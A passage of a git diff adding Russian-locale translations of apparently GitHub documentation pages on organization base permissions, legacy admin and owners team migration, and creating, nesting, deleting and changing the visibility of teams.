a/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md new file mode 100644 index 000000000000..32aceac69187 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md @@ -0,0 +1,44 @@ +--- +title: Setting base permissions for an organization +intro: You can set base permissions for the repositories that an organization owns. +permissions: Organization owners can set base permissions for an organization. +redirect_from: + - /github/setting-up-and-managing-organizations-and-teams/setting-base-permissions-for-an-organization + - /organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Set base permissions +--- + +## About base permissions for an organization + +You can set base permissions that apply to all members of an organization when accessing any of the organization's repositories. Base permissions do not apply to outside collaborators. + +{% ifversion fpt or ghec %}By default, members of an organization will have **Read** permissions to the organization's repositories.{% endif %} + +If someone with admin access to an organization's repository grants a member a higher level of access for the repository, the higher level of access overrides the base permission. + +{% ifversion custom-repository-roles %} +If you've created a custom repository role with an inherited role that is lower access than your organization's base permissions, any members assigned to that role will default to the organization's base permissions rather than the inherited role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)." +{% endif %} + +## Setting base permissions + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.member-privileges %} +5. Under "Base permissions", use the drop-down to select new base permissions. + ![Selecting new permission level from base permissions drop-down](/assets/images/help/organizations/base-permissions-drop-down.png) +6. Review the changes. To confirm, click **Change default permission to PERMISSION**. + ![Reviewing and confirming change of base permissions](/assets/images/help/organizations/base-permissions-confirm.png) + +## Further reading + +- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" +- "[Adding outside collaborators to repositories in your organization](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)" diff --git a/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/viewing-people-with-access-to-your-repository.md b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/viewing-people-with-access-to-your-repository.md new file mode 100644 index 000000000000..4ef70d2e328c --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/viewing-people-with-access-to-your-repository.md @@ -0,0 +1,59 @@ +--- +title: Viewing people with access to your repository +intro: 'You can view{% ifversion ghec or ghes or ghae %} and export{% endif %} a list of people with access to a repository within an organization.' +redirect_from: + - /articles/viewing-people-with-access-to-your-repository + - /github/setting-up-and-managing-organizations-and-teams/viewing-people-with-access-to-your-repository + - /organizations/managing-access-to-your-organizations-repositories/viewing-people-with-access-to-your-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: View people with access +permissions: Organization owners can view people with access to a repository. +--- + +## About the list of people with access to your repository + +You can use this information to help off-board people, gather data for compliance, and other general security checkups. + +{% ifversion fpt %} +Organizations that use {% data variables.product.prodname_ghe_cloud %} can also export a CSV list of people who have access to a repository. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/managing-access-to-your-organizations-repositories/viewing-people-with-access-to-your-repository). +{% endif %} + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +![Access management overview](/assets/images/help/repository/manage-access-overview.png) +{% else %} +![Repository people permissions list](/assets/images/help/repository/repository-permissions-list.png) +{% endif %} +## Viewing people with access to your repository + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +You can see a combined overview of teams and people with access to your repository in your repository settings. For more information, see "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository#about-access-management-for-repositories)." +{% else %} +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.accessing-repository-graphs %} +{% data reusables.repositories.accessing-repository-people %} +{% endif %} + +{% ifversion ghec or ghes or ghae %} +## Exporting a list of people with access to your repository + +{% ifversion ghec %} +{% note %} + +**Note:** Only organizations that use {% data variables.product.prodname_ghe_cloud %} can export a list of people with access to a repository. {% data reusables.enterprise.link-to-ghec-trial %} + +{% endnote %} +{% endif %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.accessing-repository-graphs %} +{% data reusables.repositories.accessing-repository-people %} +4. Click **Export CSV**. + ![People tab in the repository sidebar](/assets/images/help/repository/export-repository-permissions.png) +{% endif %} diff --git a/translations/ru-RU/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md b/translations/ru-RU/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md new file mode 100644 index 000000000000..8bd6a65fd67e --- /dev/null +++ b/translations/ru-RU/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md @@ -0,0 +1,39 @@ +--- +title: Преобразование команды администраторов в улучшенные разрешения организации +intro: 'Если ваша организация была создана позднее, чем в сентябре 2015 года, по умолчанию у нее есть улучшенные разрешения организации. Организациям, созданным до сентября 2015 года, может потребоваться перенести прежние команды "Владельцы" и "Администраторы" в улучшенную модель разрешений. Участники прежних команд администраторов автоматически сохраняют возможность создавать репозитории до тех пор, пока эти команды не будут перенесены в улучшенную модель разрешений организации.' +redirect_from: + - /articles/converting-your-previous-admin-team-to-the-improved-organization-permissions + - /articles/converting-an-admin-team-to-improved-organization-permissions + - /github/setting-up-and-managing-organizations-and-teams/converting-an-admin-team-to-improved-organization-permissions +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Convert admin team +ms.openlocfilehash: 183ccd5d1252265ed6ac94924703ceb75ed8adad +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145125600' +--- +Вы можете лишить участников устаревших команд администраторов возможности создавать репозитории, создав новую команду для этих участников, обеспечив необходимый доступ команды к репозиториям организации, а затем удалив прежнюю команду администраторов. + +Дополнительные сведения см. в разделе [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization). + +{% warning %} + +**Предупреждения.** +- Если в вашей прежней команде администраторов нет участников других команд, удаление команды приведет к удалению этих участников из организации. Перед удалением команды убедитесь, что участники уже являются непосредственными участниками организации или имеют доступ к необходимым репозиториям. +- Чтобы предотвратить потерю закрытых вилок, созданных членами прежней команды администрирования, необходимо выполнить шаги 1–3 ниже, прежде чем удалить прежнюю команду администрирования. +- Так как "admin" — это термин, которым обозначают участников организации с определенными правами [доступа к конкретным репозиториям](/articles/repository-permission-levels-for-an-organization) в организации, мы рекомендуем избегать использования этого термина в любом выбранном вами имени группы. + +{% endwarning %} + +1. [Создайте команду](/articles/creating-a-team). +2. [Добавьте каждого из участников](/articles/adding-organization-members-to-a-team) прежней команды администрирования в новую команду. +3. [Предоставьте новой команде равноценный доступ](/articles/managing-team-access-to-an-organization-repository) к каждому из репозиториев, доступ к которой был у прежней команды. +4. [Удалите прежнюю группу администраторов](/articles/deleting-a-team). diff --git a/translations/ru-RU/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md b/translations/ru-RU/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md new file mode 100644 index 000000000000..921363c42280 --- /dev/null +++ b/translations/ru-RU/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md @@ -0,0 +1,56 @@ +--- +title: Преобразование команды владельцев в улучшенные разрешения организации +intro: 'Если ваша организация была создана позднее, чем в сентябре 2015 года, по умолчанию у нее есть улучшенные разрешения организации. Организациям, созданным до сентября 2015 года, может потребоваться перенести прежние команды "Владельцы" и "Администраторы" в улучшенную модель разрешений. Роль "Владелец" теперь является административной ролью, которая предоставляется отдельным участникам вашей организации. Участникам вашей прежней команды владельцев автоматически предоставляются права владельца.' +redirect_from: + - /articles/converting-your-previous-owners-team-to-the-improved-organization-permissions-early-access-program + - /articles/converting-your-previous-owners-team-to-the-improved-organization-permissions + - /articles/converting-an-owners-team-to-improved-organization-permissions + - /github/setting-up-and-managing-organizations-and-teams/converting-an-owners-team-to-improved-organization-permissions +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Convert Owners team +ms.openlocfilehash: ff4845a8d36ecc757a989ef669b645543addff2d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147880383' +--- +Доступно несколько вариантов преобразования устаревшей команды владельцев. + +- Присвойте команде новое имя, указывающее, что ее участники имеют особый статус в организации. +- Удалите команду после того, как все участники будут добавлены в команды, которым предоставлен необходимый доступ к репозиториям организации. + +## Укажите новое имя для команды владельцев + +{% tip %} + + **Примечание.** Так как "admin" — это термин, которым обозначают участников организации с определенными [правами доступа к конкретным репозиториям](/articles/repository-permission-levels-for-an-organization) в организации, мы рекомендуем избегать использования этого термина в любом выбранном вами имени группы. + +{% endtip %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.owners-team %} {% data reusables.organizations.convert-owners-team-confirm %} +5. В поле "Имя команды" выберите новое имя для команды владельцев. Пример: + - Если в вашей организации было очень мало участников команды владельцев, можно присвоить команде имя "Core". + - Если все участники вашей организации были членами команды владельцев, то для того, чтобы они могли [@mention команды](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams), можно присвоить команде имя "Employees". + ![Поле имени команды, в котором имя команды "Владельцы" можно изменить на "Core"](/assets/images/help/teams/owners-team-new-name.png) +6. В описании команды нажмите кнопку **"Сохранить и продолжить**". +![Кнопка "Сохранить и продолжить"](/assets/images/help/teams/owners-team-save-and-continue.png) +7. При необходимости [сделайте команду *общедоступной*](/articles/changing-team-visibility). + +## Удаление устаревшей команды владельцев + +{% warning %} + +**Примечание**. Если в вашей команде владельцев нет участников других команд, удаление команды приведет к удалению этих участников из организации. Перед удалением команды убедитесь, что участники уже являются непосредственными участниками организации или имеют доступ к необходимым репозиториям. + +{% endwarning %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.owners-team %} {% data reusables.organizations.convert-owners-team-confirm %} +5. В нижней части страницы просмотрите предупреждение и нажмите кнопку **"Удалить команду владельцев**". + ![Ссылка для удаления команды владельцев](/assets/images/help/teams/owners-team-delete.png) diff --git a/translations/ru-RU/content/organizations/migrating-to-improved-organization-permissions/index.md b/translations/ru-RU/content/organizations/migrating-to-improved-organization-permissions/index.md new file mode 100644 index 000000000000..823bb8980290 --- /dev/null +++ b/translations/ru-RU/content/organizations/migrating-to-improved-organization-permissions/index.md @@ -0,0 +1,29 @@ +--- +title: Переход на улучшенные разрешения организации +intro: 'Если ваша организация была создана позднее, чем в сентябре 2015 года, по умолчанию у нее есть улучшенные разрешения организации. Организациям, созданным до сентября 2015 года, может потребоваться перенести прежние команды "Владельцы" и "Администраторы" в улучшенную модель разрешений организации.' +redirect_from: + - /articles/improved-organization-permissions + - /articles/github-direct-organization-membership-pre-release-guide + - /articles/migrating-your-organization-to-improved-organization-permissions + - /articles/migrating-to-improved-organization-permissions + - /github/setting-up-and-managing-organizations-and-teams/migrating-to-improved-organization-permissions +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Organizations + - Teams +children: + - /converting-an-owners-team-to-improved-organization-permissions + - /converting-an-admin-team-to-improved-organization-permissions + - /migrating-admin-teams-to-improved-organization-permissions +shortTitle: Migrate to improved permissions +ms.openlocfilehash: 121219b628dee77ab71894b70dc5a7c34cc72ad9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145125592' +--- + diff --git a/translations/ru-RU/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md b/translations/ru-RU/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md new file mode 100644 index 000000000000..5355f6ecad20 --- /dev/null +++ b/translations/ru-RU/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md @@ -0,0 +1,48 @@ +--- +title: Migrating admin teams to improved organization permissions +intro: 'If your organization was created after September 2015, your organization has improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved permissions model. Members of legacy admin teams automatically retain the ability to create repositories until those teams are migrated to the improved organization permissions model.' +redirect_from: + - /articles/migrating-your-previous-admin-teams-to-the-improved-organization-permissions + - /articles/migrating-admin-teams-to-improved-organization-permissions + - /github/setting-up-and-managing-organizations-and-teams/migrating-admin-teams-to-improved-organization-permissions +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Migrate admin team +--- + +By default, all organization members can create repositories. If you restrict [repository creation permissions](/articles/restricting-repository-creation-in-your-organization) to organization owners, and your organization was created under the legacy organization permissions structure, members of legacy admin teams will still be able to create repositories. + +Legacy admin teams are teams that were created with the admin permission level under the legacy organization permissions structure. Members of these teams were able to create repositories for the organization, and we've preserved this ability in the improved organization permissions structure. + +You can remove this ability by migrating your legacy admin teams to the improved organization permissions. + +For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." + +{% warning %} + +**Warning:** If your organization has disabled [repository creation permissions](/articles/restricting-repository-creation-in-your-organization) for all members, some members of legacy admin teams may lose repository creation permissions. If your organization has enabled member repository creation, migrating legacy admin teams to improved organization permissions will not affect team members' ability to create repositories. + +{% endwarning %} + +## Migrating all of your organization's legacy admin teams + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.teams_sidebar %} +1. Review your organization's legacy admin teams, then click **Migrate all teams**. + ![Migrate all teams button](/assets/images/help/teams/migrate-all-legacy-admin-teams.png) +1. Read the information about possible permissions changes for members of these teams, then click **Migrate all teams.** + ![Confirm migration button](/assets/images/help/teams/confirm-migrate-all-legacy-admin-teams.png) + +## Migrating a single admin team + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.specific_team %} +1. In the team description box, click **Migrate team**. + ![Migrate team button](/assets/images/help/teams/migrate-a-legacy-admin-team.png) diff --git a/translations/ru-RU/content/organizations/organizing-members-into-teams/about-teams.md b/translations/ru-RU/content/organizations/organizing-members-into-teams/about-teams.md new file mode 100644 index 000000000000..02c9f5a65863 --- /dev/null +++ b/translations/ru-RU/content/organizations/organizing-members-into-teams/about-teams.md @@ -0,0 +1,82 @@ +--- +title: About teams +intro: Teams are groups of organization members that reflect your company or group's structure with cascading access permissions and mentions. +redirect_from: + - /articles/about-teams + - /github/setting-up-and-managing-organizations-and-teams/about-teams +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +--- + +![List of teams in an organization](/assets/images/help/teams/org-list-of-teams.png) + +Organization owners and team maintainers can give teams admin, read, or write access to organization repositories. Organization members can send a notification to an entire team by mentioning the team's name. Organization members can also send a notification to an entire team by requesting a review from that team. Organization members can request reviews from specific teams with read access to the repository where the pull request is opened. Teams can be designated as owners of certain types or areas of code in a CODEOWNERS file. + +For more information, see: +- "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)" +- "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)" +- "[About code owners](/articles/about-code-owners/)" + +![Image of a team mention](/assets/images/help/teams/team-mention.png) + +{% ifversion ghes %} + +You can also use LDAP Sync to synchronize {% data variables.location.product_location %} team members and team roles against your established LDAP groups. This lets you establish role-based access control for users from your LDAP server instead of manually within {% data variables.location.product_location %}. For more information, see "[Enabling LDAP Sync](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync)." + +{% endif %} + +{% data reusables.organizations.team-synchronization %} + +## Team visibility + +{% data reusables.organizations.types-of-team-visibility %} + +You can view all the teams you belong to on your personal dashboard. For more information, see "[About your personal dashboard](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard#finding-your-top-repositories-and-teams)." + +## Team pages + +Each team has its own page within an organization. On a team's page, you can view team members, child teams, and the team's repositories. Organization owners and team maintainers can access team settings and update the team's description and profile picture from the team's page. + +Organization members can create and participate in discussions with the team. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)." + +![Team page listing team members and discussions](/assets/images/help/organizations/team-page-discussions-tab.png) + +## Nested teams + +You can reflect your group or company's hierarchy within your {% data variables.product.product_name %} organization with multiple levels of nested teams. A parent team can have multiple child teams, while each child team only has one parent team. You cannot nest secret teams. + +Child teams inherit the parent's access permissions, simplifying permissions management for large groups. Members of child teams also receive notifications when the parent team is @mentioned, simplifying communication with multiple groups of people. + +For example, if your team structure is Employees > Engineering > Application Engineering > Identity, granting Engineering write access to a repository means Application Engineering and Identity also get that access. If you @mention the Identity Team or any team at the bottom of the organization hierarchy, they're the only ones who will receive a notification. + +![Teams page with a parent team and child teams](/assets/images/help/teams/nested-teams-eng-example.png) + +To easily understand who shares a parent team's permissions and mentions, you can see all of the members of a parent team's child teams on the Members tab of the parent team's page. Members of a child team are not direct members of the parent team. + +![Parent team page with all members of child teams](/assets/images/help/teams/team-and-subteam-members.png) + +You can choose a parent when you create the team, or you can move a team in your organization's hierarchy later. For more information see, "[Moving a team in your organization’s hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy)." + +{% data reusables.enterprise_user_management.ldap-sync-nested-teams %} + +## Preparing to nest teams in your organization + +If your organization already has existing teams, you should audit each team's repository access permissions before you nest teams above or below it. You should also consider the new structure you'd like to implement for your organization. + +At the top of the team hierarchy, you should give parent teams repository access permissions that are safe for every member of the parent team and its child teams. As you move toward the bottom of the hierarchy, you can grant child teams additional, more granular access to more sensitive repositories. + +1. Remove all members from existing teams +2. Audit and adjust each team's repository access permissions and give each team a parent +3. Create any new teams you'd like to, choose a parent for each new team, and give them repository access +4. Add people directly to teams + +## Further reading + +- "[Creating a team](/articles/creating-a-team)" +- "[Adding organization members to a team](/articles/adding-organization-members-to-a-team)" diff --git a/translations/ru-RU/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md b/translations/ru-RU/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md new file mode 100644 index 000000000000..32a4464086a5 --- /dev/null +++ b/translations/ru-RU/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md @@ -0,0 +1,35 @@ +--- +title: Добавление участников организации в команду +intro: 'Пользователи с разрешениями владельца или участника группы могут добавлять участников организации в команды. Пользователи с разрешениями владельца могут также {% ifversion fpt or ghec %}пригласить сторонних пользователей присоединиться в качестве участников{% else %}добавить сторонних пользователей в{% endif %} команду и организацию.' +redirect_from: + - /articles/adding-organization-members-to-a-team-early-access-program + - /articles/adding-organization-members-to-a-team + - /github/setting-up-and-managing-organizations-and-teams/adding-organization-members-to-a-team +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Add members to a team +ms.openlocfilehash: 0a0dcd6b925c2209ae583197963db84ba881c7ff +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145125539' +--- +{% data reusables.organizations.team-synchronization %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_members_tab %} +6. Над списком участников команды нажмите кнопку **Добавить участника**. +![Кнопка "Добавить участника"](/assets/images/help/teams/add-member-button.png) {% data reusables.organizations.invite_to_team %} {% data reusables.organizations.review-team-repository-access %} + +{% ifversion fpt or ghec %}{% data reusables.organizations.cancel_org_invite %}{% endif %} + +## Дополнительные материалы + +- [Сведения о командах](/articles/about-teams) +- [Управление доступом команды к репозиторию организации](/articles/managing-team-access-to-an-organization-repository) diff --git a/translations/ru-RU/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md b/translations/ru-RU/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md new file mode 100644 index 000000000000..ac69712cf4e6 --- /dev/null +++ b/translations/ru-RU/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md @@ -0,0 +1,52 @@ +--- +title: Назначение роли координатора команды участнику команды +intro: 'Вы можете предоставить участнику команды возможность управлять членством в команде и параметрами, назначив роль ответственного за команду.' +redirect_from: + - /articles/giving-team-maintainer-permissions-to-an-organization-member-early-access-program + - /articles/giving-team-maintainer-permissions-to-an-organization-member + - /github/setting-up-and-managing-organizations-and-teams/giving-team-maintainer-permissions-to-an-organization-member + - /organizations/managing-peoples-access-to-your-organization-with-roles/giving-team-maintainer-permissions-to-an-organization-member +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Team maintainers +permissions: Organization owners can promote team members to team maintainers. +ms.openlocfilehash: 2408d8c12718375d777432be03d6e19f7d6d04b5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145125536' +--- +## Сведения о координаторах команд + +Пользователи с ролью координатора команды могут управлять членством в команде и параметрами. + +- [Изменение имени и описания команды](/articles/renaming-a-team) +- [Изменение видимости команды](/articles/changing-team-visibility) +- [Запрос на добавление дочерней команды](/articles/requesting-to-add-a-child-team) +- [Запрос на добавление или изменение родительской команды](/articles/requesting-to-add-or-change-a-parent-team) +- [Настройка изображения профиля команды](/articles/setting-your-team-s-profile-picture) +- [Редактирование обсуждений в команде](/articles/managing-disruptive-comments/#editing-a-comment) +- [Удаление обсуждений в команде](/articles/managing-disruptive-comments/#deleting-a-comment) +- [Добавление участников организации в команду](/articles/adding-organization-members-to-a-team) +- [Удаление участников организации из команды](/articles/removing-organization-members-from-a-team) +- Удалять доступ группы к репозиториям +- [Управление назначением проверки кода для команды](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team){% ifversion fpt or ghec %} +- [Управление запланированными напоминаниями для запросов на вытягивание](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team){% endif %} + +## Продвижение участника организации до координатора команды + +Чтобы повысить уровень участника организации до координатора команды, он должен участником членом команды. + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_members_tab %} +4. Выберите одного или нескольких пользователей, которых нужно сделать координаторами команды. +![Флажок рядом с членом организации](/assets/images/help/teams/team-member-check-box.png) +5. Над списком участников команды откройте раскрывающееся меню и нажмите кнопку **Изменить роль...** . ![Раскрывающееся меню с параметром изменения роли](/assets/images/help/teams/bulk-edit-drop-down.png) +6. Выберите новую роль и нажмите кнопку **Изменить роль**. +![Переключатели для ролей координатора или участника](/assets/images/help/teams/team-role-modal.png) diff --git a/translations/ru-RU/content/organizations/organizing-members-into-teams/changing-team-visibility.md b/translations/ru-RU/content/organizations/organizing-members-into-teams/changing-team-visibility.md new file mode 100644 index 000000000000..19c83ce00bf7 --- /dev/null +++ b/translations/ru-RU/content/organizations/organizing-members-into-teams/changing-team-visibility.md @@ -0,0 +1,36 @@ +--- +title: Изменение видимости команды +intro: 'Ответственные за команду и владельцы организации могут определить, является ли команда *видимой* или *секретной*.' +redirect_from: + - /articles/changing-team-visibility + - /github/setting-up-and-managing-organizations-and-teams/changing-team-visibility +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +ms.openlocfilehash: ef3db776784e9ad1f499c4683f79da0178b87dfd +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145125531' +--- +{% data reusables.organizations.types-of-team-visibility %} + +{% tip %} + +**Совет.** Если у команды есть [дочерние или родительские команды](/articles/about-teams), вы не можете сделать ее секретной командой. + +{% endtip %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.teams %} +3. Выберите одну или несколько команд, видимость которых требуется изменить. + ![Список команд с двумя выбранными командами](/assets/images/help/teams/list-of-teams-selected.png) +4. Используйте раскрывающееся меню над списком команд и нажмите кнопку **Изменить видимость**. + ![Раскрывающееся меню с параметром для изменения видимости команды](/assets/images/help/teams/team-bulk-management-options.png) +5. Выберите, следует ли сделать команды видимыми или секретными, а затем нажмите кнопку **Изменить видимость**. + ![Переключатели для настройки команды как видимой или секретной и кнопка "Изменить видимость"](/assets/images/help/teams/select-and-confirm-new-visibility.png) diff --git a/translations/ru-RU/content/organizations/organizing-members-into-teams/creating-a-team.md b/translations/ru-RU/content/organizations/organizing-members-into-teams/creating-a-team.md new file mode 100644 index 000000000000..46ff6070e212 --- /dev/null +++ b/translations/ru-RU/content/organizations/organizing-members-into-teams/creating-a-team.md @@ -0,0 +1,38 @@ +--- +title: Создание команды +intro: Вы можете создавать независимые или вложенные команды для управления разрешениями репозитория и упоминаниями для групп людей. +redirect_from: + - /articles/creating-a-team-early-access-program + - /articles/creating-a-team + - /github/setting-up-and-managing-organizations-and-teams/creating-a-team +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +ms.openlocfilehash: c4ffe03e1108caae9bfed1171b08d8a046caeb76 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145125528' +--- +Только владельцы организации и координаторы родительской команды могут создать новую дочернюю команду под родительской командой. Владельцы также могут ограничивать разрешения на создание для всех команд в организации. Дополнительные сведения см. в разделе [Настройка разрешений для создания команды в организации](/articles/setting-team-creation-permissions-in-your-organization). + +{% data reusables.organizations.team-synchronization %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.new_team %} {% data reusables.organizations.team_name %} {% data reusables.organizations.team_description %} {% data reusables.organizations.create-team-choose-parent %} {% ifversion ghec %} +1. При необходимости, если ваша организация или корпоративная учетная запись использует синхронизацию команд или {% data variables.product.prodname_emus %}, подключите группу поставщиков удостоверений к команде. + * Если в вашей организации используется {% data variables.product.prodname_emus %}, используйте раскрывающееся меню "Группы поставщиков удостоверений" и выберите одну группу поставщиков удостоверений для подключения к новой команде. Дополнительные сведения см в разделе [Управление членством в группах поставщиков удостоверений](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups). + * Если в вашей организации или корпоративной учетной записи используется синхронизация групп, используйте раскрывающееся меню "Группы поставщиков удостоверений" и выберите не более пяти групп поставщиков удостоверений для подключения к новой команде. Дополнительные сведения см. в разделе [Синхронизация команды с группой поставщика удостоверений](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group). + ![Раскрывающееся меню для выбора групп](/assets/images/help/teams/choose-an-idp-group.png) поставщиков удостоверений {% endif %} {% data reusables.organizations.team_visibility %} {% data reusables.organizations.create_team %} +1. При необходимости [предоставьте команде доступ к репозиториям организации](/articles/managing-team-access-to-an-organization-repository). + +## Дополнительные материалы + +- [Сведения о командах](/articles/about-teams) +- [Изменение видимости команды](/articles/changing-team-visibility) +- [Перемещение команды по иерархии организации](/articles/moving-a-team-in-your-organization-s-hierarchy) diff --git a/translations/ru-RU/content/organizations/organizing-members-into-teams/deleting-a-team.md b/translations/ru-RU/content/organizations/organizing-members-into-teams/deleting-a-team.md new file mode 100644 index 000000000000..3ce4b817d90a --- /dev/null +++ b/translations/ru-RU/content/organizations/organizing-members-into-teams/deleting-a-team.md @@ -0,0 +1,34 @@ +--- +title: Удаление команды +intro: Владельцы организации могут в любое время удалять команды на странице параметров команды. +redirect_from: + - /articles/deleting-a-team + - /github/setting-up-and-managing-organizations-and-teams/deleting-a-team +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +ms.openlocfilehash: c7562e2e94593fdd9fcea06a442fa457acadeeb4 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145125523' +--- +{% tip %} + +**Совет.** Только владельцы организации могут удалять родительские команды. Дополнительные сведения см. в статье "[Сведения о командах](/articles/about-teams)". + +{% endtip %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.teams %} +4. Выберите одну или несколько команд, которые вы хотите удалить. + ![Список команд с двумя выбранными командами](/assets/images/help/teams/list-of-teams-selected.png) +5. Используйте раскрывающееся меню над списком команд и нажмите кнопку **Удалить**. + ![Раскрывающееся меню с параметром для изменения видимости команды](/assets/images/help/teams/team-bulk-management-options.png) +6. Просмотрите команды, которые будут удалены, а затем щелкните **Я понимаю, удалить команды**. + ![Список команд, которые будут удалены, и кнопка "Удалить команды"](/assets/images/help/teams/confirm-delete-teams-bulk.png) diff --git 